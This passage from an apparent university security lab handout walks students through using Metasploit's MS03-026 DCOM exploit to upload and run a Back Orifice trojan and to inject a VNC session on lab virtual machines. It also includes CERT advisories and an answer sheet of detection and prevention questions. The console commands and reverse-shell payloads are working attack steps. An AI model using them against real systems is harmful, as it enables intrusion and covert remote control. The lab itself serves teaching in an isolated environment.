msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set RHOST
57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your Windows XP
Copy virtual machine
(make sure that RHOST is in all caps)
22
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set LHOST
57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your original
Windows XP virtual machine
(make sure that LHOST is in all caps)
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set PEXEC bo2k.exe
Because we copied the bo2k.exe file to C:\Program Files\Metasploit Framework\home,
the file is in the Metasploit home directory and therefore there is no path information that
we need to set with PEXEC. When Metasploit runs, it will automatically look in its
home directory for the file.
(make sure that PEXEC is in all caps)
Now, all of the required options are configured for this exploit and payload. The exploit
is ready to be executed, but before we run it, it is important to double check all of the
settings first. All of the options that we set and all of the values that we assigned can be
viewed with the command ‘set’. At the prompt type:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set
The output should look something like this:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set
LHOST: 57.35.6.193
PAYLOAD: win32_reverse_stg_upexec
PEXEC: bo2k.exe
RHOST: 57.35.6.195
TARGET: 0
Double check the settings. If everything looks correct, execute the exploit with the
command ‘exploit’.
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > exploit
If everything was set correctly, the output on the screen should look like this:
msf
[*]
[*]
[*]
[*]
[*]
[*]
[*]
msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > exploit
Starting Reverse Handler.
Splitting RPC request into 7 packets
Got connection from 57.35.6.193:4321 <-> 57.35.6.195:1030
Sending Stage (270 bytes)
Sleeping before sending file.
Uploading file (114688), Please wait...
Executing uploaded file...
Exercise 5.6 – Using the Trojan Program with Back Orifice
23
At this point, our Trojan program is uploaded and running on our Windows XP Copy
virtual machine and is silently waiting for us to connect to it and issue some commands.
To do this, leave the Metasploit framework console running and minimize the CMD
window. If you close the Metasploit framework console, it will break the connection
with our target machine and we will not be able to complete the lab. If you do break the
connection, re-run the previous Metasploit commands and re-establish the connection.
With Metasploit still running, we need to run the Back Orifice client program. To do this
go to:
Start → All Programs → Bo2k → Bo2k Client
In the Bo2k Workspace, go to File → New Server
For the name of the server, enter in a descriptive name (eg. – Metasploit Trojan)
Under server address, enter the IP address of your Windows XP Copy virtual machine.
Leave all other settings at their default values and click OK.
At the Server Command Client window, click on the button labeled “Click to Connect”.
Once the connection is established we have full control over our target machine. Take
some time to explore all of the menus and examine what options are available to you.
Feel free to test any of the options and exploits that you have at your disposal.
For this section of the lab however, we will only test one of attacks. Since we are ethical
hackers and we are only testing this exploit, we will send our Windows XP Copy virtual
machine a message. The message will pop up on the remote desktop just as any system
message would appear in Windows XP.
To send a message to our target machine, first click on the “plus” sign next to the GUI
menu item. Next click on “System Message Box”. For the title of our message, enter
something descriptive (eg. Metasploit – Trojan). In the text field type in “ECE 4112 –
Group xx” (where xx is your group number). Finally click on the “Send Command”
button.
Once you have sent the message box to your target machine, switch over to your
Windows XP Copy virtual machine and look at the desktop. Your message should be
visible on the desktop.
Screenshot 5: Attach to your answer sheet a screen shot of your Windows XP Copy
virtual machine desktop with the message box displayed.
Click OK to close the message box. While you are still on your Windows XP Copy
virtual machine, take some time to browse around the OS. Look carefully for any signs
24
that the machine is infected with a trojan file.
Q5.1: What indications are there on the Windows XP Copy virtual machine that
anything has happened?
Q5.2: Besides using Back Orifice 2000 to create a trojan program, what other uses can
you think of for using the Metasploit Upload & Execute exploit?
Q5.3: What can a system administrator do to prevent this type of attack?
Before you move on to the next section, go back to your original Windows XP virtual
machine and close the Bo2k Client program. In addition to closing Bo2k, go back to
your Metasploit framework console and press CTL + C to break the connection. Type
yes at the confirmation then close the msfconsole window.
Section 6: Experimenting with the Metasploit
Web Interface
The Metasploit Framework install package comes with a script that runs a small web
server and hosts a web interface that you can connect to and run exploits. The exploits
and payloads are the same ones that are available through the command line interface
however the web page helps automate the steps and offers a GUI interface that some
users may find more intuitive to use.
It is important to note that the Metasploit Framework Web program is still in beta version
and your results may not be the same as you would get through the Metasploit console
terminal program.
For this exercise our intent is not to introduce you to a new exploit or payload but to
rather show you how to run the web interface program, and to show you how the web
program works. Therefore we will be reusing an exploit and payload that we know
works from a previous section. This section will use your Red Hat WS 4.0 host machine
as the attacker and your Windows XP Pro Copy virtual machine as the target.
Exercise 6.1 – Starting up the Web Interface
To start up the web interface, first go to your Red Hat WS 4.0 Host Machine and change
the working directory to your Metasploit Framework home directory and start up the web
program.
# cd /root/framework-2.5
# ./msfweb
25
The web server script should run and your screen should look something like this:
[root@group37 framework-2.5]# ./msfweb
+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)
This indicates that Metasploit Web is running and waiting for a connection. The
Metasploit Web program has a built-in web server so there is no need to run Apache or
any other 3rd party web server application.
Exercise 6.2 – Connecting to the Web Interface
Now, to connect to the web program, open up a browser and go to the following address:
http://127.0.0.1:55555/
The IP address 127.0.0.1 is your Red Hat WS 4.0 host machine’s loopback address and
the :55555 is the port number we are connecting to. This tells the browser to connect to
the localhost (its own machine) on port 55555. If everything worked correctly the
browser should open up to the default home page.
26
Exercise 6.3 – Running the Exploit in the Metasploit Web Interface
On the main page of the Metasploit web console, you will see three main categories:
Exploits, Payloads, and Sessions. To begin, click on the Exploits link located towards the
top of the page. Next go to the pull down menu in the middle of the page and scroll
down to the menu item labeled app :: dcom.
Once you filter the modules to app :: dcom, the only available choice you should see on
the web page is “Microsoft RPC DCOM MS03-026”. Click on that link.
After you click on the exploit name, the screen changes and we are given by default more
information about the exploit. Note – in the command line version of Metasploit, you
can view this same information by entering the command “info [exploit_name]”. On the
web interface, the information is automatic. Take a look at this exploit information to
learn a little bit more about how it works.
Next scroll down to the bottom of the screen where we need to select a Target. There is
only one target for all versions of Windows, therefore click on that one target link:
0 – Windows NT SP3-6a/2K/XP/2K3 English ALL (default)
Once you click on the Target name, the screen changes again and moves to the next step
where we need to specify our Payload. Note – these steps should look very familiar to
you because they are the same steps you took when running this exploit from the
command version. The web interface just automates for you and provides a point-andclick GUI representation of the commands. For the Payload option, we will use a
familiar payload that we know works from a previous section. Click on
“win32_reverse_vncinject”.
Once you click on the payload, the screen automatically changes again to show what
Options are available. Just like with the command line version, we need to fill in values
for all of the required fields. In this case the only option we need to set is RHOST. In
the text box next to RHOST, enter the IP address of our Target machine, our Windows
XP Pro Copy virtual machine. Leave all other fields at their default settings.
All of the parameters are set and it is time to run our exploit. In the middle of the screen
click on the “–Exploit–“ button.
Just like in our previous section where we exploited VNC server, the VNC client window
should automatically appear and you should be connected to the desktop of your
Windows XP Pro Copy virtual machine.
Q6.1: What are some advantages that this type of interface has over the command line
version?
Q6.2: What are some disadvantages that are associated with running exploits in this
27
manner?
28
Appendix A
Information on the LSASS Microsoft Vulnerability
(http://www.kb.cert.org/vuls/id/753212)
Vulnerability Note VU#753212
Microsoft LSA Service contains buffer overflow in DsRolepInitializeLog() function
Overview
The Windows Local Security Authority Service Server (LSASS) contains a vulnerability
that may permit an attacker to completely compromise the system.
I. Description
A buffer overflow vulnerability exists in a Microsoft Active Directory service logging
function that is exposed by the LSASS DCE/RPC interface. The vulnerability occurs due
to the misuse of a vsprintf() call. For a full technical description, please see eEye Digital
Security's Advisiory. This vulnerability affects the following systems:



Windows 2000
Windows XP
Windows Server 2003 - Microsoft notes that while the vulnerability exists in
Window Server 2003, it could only be expoited by a local administrator.
II. Impact
A remote unauthenticated attacker could exploit this vulnerability to execute arbitrary
code on the vulnerable system.
III. Solution
Apply a patch from the vendor
Microsoft Security Bulletin MS04-011 contains patch information to resolve this issue.
Systems Affected
Vendor
Status
Date Updated
Microsoft Corporation Vulnerable 13-Apr-2004
References
http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx
http://www.eeye.com/html/Research/Advisories/AD20040413C.html
29
Credit
The Microsoft Security Bulletin credits eEye Digital Security for reporting this
vulnerability.
This document was written by Jason A Rafail.
Other Information
Date Public 04/13/2004
Date First Published 04/13/2004 09:24:03 PM
Date Last Updated 04/13/2004
CERT Advisory
CVE Name CAN-2003-0533
Metric 35.44
Document Revision 7
30
Appendix B
Information on the RPC/DCOM Microsoft Vulnerability
(http://www.kb.cert.org/vuls/id/547820)
Vulnerability Note VU#547820
Microsoft Windows DCOM/RPC vulnerability
Overview
A vulnerability exists in Microsoft Windows DCOM/RPC that can be exploited to cause
a denial of service. It may be possible for an attacker to execute arbitrary code on a
vulnerable system.
I. Description
Microsoft Windows Remote Procedure Call (RPC) "... is a powerful, robust, efficient,
and secure interprocess communication (IPC) mechanism that enables data exchange and
invocation of functionality residing in a different process. That different process can be
on the same machine, on the local area network, or across the Internet." Distributed COM
(DCOM) "...extends the Component Object Model (COM) to support communication
among objects on different computers -- on a LAN, a WAN, or even the Internet."
Based on publicly available exploit code, there is a vulnerability in the way the RPCSS
service handles DCOM/RPC messages. This vulnerability is different than those
described in CA-2003-16 (VU#568148/MS03-026) and CA-2003-23
(VU#254236/VU#483492/MS03-039). As in the previous vulnerabilities, this flaw
appears to occur in functions related to DCOM object activation. A remote attacker could
attempt to exploit this vulnerability using crafted RPC packets.
Internet Security Systems (ISS) X-Force has published an advisory stating that this
vulnerability "...manifests as a result of a separate multi-threaded race condition when
processing incoming RPC requests." Depending on variables such as network latency and
CPU load, one RPCSS thread may free a memory buffer before another thread has
finished processing the same buffer. This causes memory corruption that can lead to
termination of the RPCSS process.
II. Impact
An unauthenticated, remote attacker could cause a denial of service or possibly execute
arbitrary code with SYSTEM privileges. In tests, the public exploit code crashes the
RPCSS service on Windows 2000 and Windows XP systems patched with MS03-039.
The exploit executes code on Windows 2000 systems that do not have the MS03-039
patch.
31
III. Solution
The CERT/CC is currently unaware of a practical solution to this problem.
Until patches are available, the following workarounds can be used to reduce possible
attack vectors. These workarounds are not complete solutions and may affect network
and application operation. Research and test before making changes to production
systems.



Using a network or host-based firewall, block RPC network traffic (ports 135/tcp,
139/tcp, 445/tcp, 593/tcp and 135/udp, 137/udp, 138/udp, 445/udp).
Disable COM Internet Services (CIS) and RPC over HTTP as described in
Microsoft Knowledge Base Article 825819.
Disable DCOM as described Microsoft Knowledge Base Article 825750.
Systems Affected
Vendor
Status
Date Updated
Microsoft Corporation Vulnerable 13-Oct-2003
References
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/overviews.asp
http://msdn.microsoft.com/library/default.asp?url=/library/enus/rpc/rpc/microsoft_rpc_model.asp
http://msdn.microsoft.com/library/default.asp?url=/library/enus/dndcom/html/msdn_dcomtec.asp
http://msdn.microsoft.com/library/default.asp?url=/library/enus/dndcom/html/msdn_dcomarch.asp
http://www.securityfocus.com/archive/1/340937
http://xforce.iss.net/xforce/alerts/id/155
http://www.k-otik.net/bugtraq/10.15.RPC3.php
Credit
This vulnerability was reported by 3APA3A (ZARAZA).
This document was written by Art Manion.
Other Information
Date Public 10/10/2003
Date First Published 10/14/2003 02:36:58 AM
Date Last Updated 10/15/2003
CERT Advisory
CVE Name CAN-2003-0813
Metric 43.70
Document Revision 35
32
Appendix C
Creating a Secondary Windows XP virtual machine
In VMware the virtual machine files are stored in directories in your root directory by
default. You just need to copy all the files from a machine's directory to a new one and
then make a new machine using these files.
In your Red Hat WS 4.0 physical machine's root directory make a new directory called
WinXPProCopy
#cd /root/vmware
#mkdir WinXPProCopy
Copy all the files from the NAS VMware directory into this new directory.
# cd /mnt/nas4112/VMWare/winXPPro
# cp *.* /root/vmware/WinXPProCopy/
This will take some time as the image files are quite large.
Start VMware and click File → New → New virtual machine
Choose Custom and click Next.
Choose Legacy and click Next.
Make sure Microsoft Windows is checked and select the Version as Windows XP
Professional and click Next.
Change the name of the new machine to WinXPProCopy and change the directory to
/root/vmware/WinXPProCopy. Click Next.
On the pop-up warning, click Yes.
Leave Memory settings alone, click Next.
Select Bridged networking and click Next.
Don’t change I/O Adapter Types, click Next.
Choose “Use an existing virtual disk” and click Next.
Click Browse, go to your /root/vmware/WinXPProCopy/ directory and choose the file
called winXPPro.vmdk.
Click Finish.
This will create a new virtual machine on your host system.
Power on the new virtual machine.
You will need to change the IP address of the new WinXPProCopy virtual machine.
Change it to your Red Hat WS 4.0 host machines address + 1. For example, if the host
machine IP address is 57.35.6.100, set your new virtual machine to 57.35.6.101. To do
this:
Start the new virtual machine.
Click Start -> Control Panel
Network and Internet Connections
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Network Connections
Right Click on local area connections
Properties
Select TCP/IP
Properties
Make your changes and click OK
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Answer Sheet Lab xx
Group Number: _______________
Member Names: _________________________
_________________________
Section 1: Installing Metasploit Framework 2.5
No Questions
Section 2: Remotely Add a User to Windows XP
Screenshot 1: Attach to your answer sheet a screen shot of your User Accounts window
showing your new username.
Q2.1: What level of access does your new user have in Windows?
Q2.2: How can a system administrator detect this kind of attack?
Q2.3: What can a system administrator do to prevent this type of attack?
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Section 3: Gain Remote Access to a Windows XP
Command Line Shell
Q3.1: What level of access do you have at the remote Windows command shell?
Q3.2: Are there any indications on the virtual machine console that anything has
happened? (Look for processes running in Task Manager)
Q3.3: What are some examples of commands that you could use at this prompt to further
exploit this system?
Q3.4: What can a system administrator do to prevent this type of attack?
Screenshot 2: Attach to your answer sheet a screen shot of your remote Windows
command shell showing the output of running the ipconfig command.
(The screen shot should show the Windows XP banner and command prompt within a
Red Hat terminal window and show the XP network information.)
Section 4: VNC Server DLL Injection
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Screenshot 3: Attach to your answer sheet a screen shot of the Tight VNC client viewer
within Linux showing the Original Windows XP virtual machine in the background and
the Metasploit Courtesy Shell window.
Q4.1: What indications are there on the virtual machine console that anything has
happened, or that VNC was installed?
Q4.2: What can a system administrator do to prevent this type of attack?
Q4.3: What is different about the VNC session this time?
Q4.4: What makes this type of exploit very dangerous to a system administrator?
Screenshot 4: Attach to your answer sheet a screen shot of the Tight VNC client viewer
within Linux showing the Windows XP virtual machine welcome screen and the
Metasploit Courtesy Shell window on top of it.
Section 5: Remotely Install and Execute a Rootkit
on Windows
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Screenshot 5: Attach to your answer sheet a screen shot of your Windows XP Copy
virtual machine desktop with the message box displayed.
Q5.1: What indications are there on the Windows XP Copy virtual machine that
anything has happened?
Q5.2: Besides using Back Orifice 2000 to create a trojan program, what other uses can
you think of for using the Metasploit Upload & Execute exploit?
Q5.3: What can a system administrator do to prevent this type of attack?
Section 6: Experimenting with the Metasploit
Web Interface
Q6.1: What are some advantages that this type of interface has over the command line
version?
Q6.2: What are some disadvantages that are associated with running exploits in this
manner?
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How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and or improvements do you suggest for this lab? You may cross
out and edit the text of the lab on previous pages to make corrections. What
corrections and or improvements do you suggest for this lab? Please be very specific
and if you add new material give the exact wording and instructions you would give
to future students in the new lab handout. You need to be very specific and provide
details. You need to actually do the suggested additions in the lab and provide
solutions to your suggested additions. Caution as usual: only extract and use the
tools you downloaded in the safe and approved environment of the network security
laboratory.
Turn-in Checklist
 Answer Sheet
 Screenshot 1 (User Accounts Window)
 Screenshot 2 (Windows Command Shell)
 Screenshot 3 (Tight VNC client window)
 Screenshot 4 (VNC client with Welcome Screen)
 Screenshot 5 (Bo2k Message Box)
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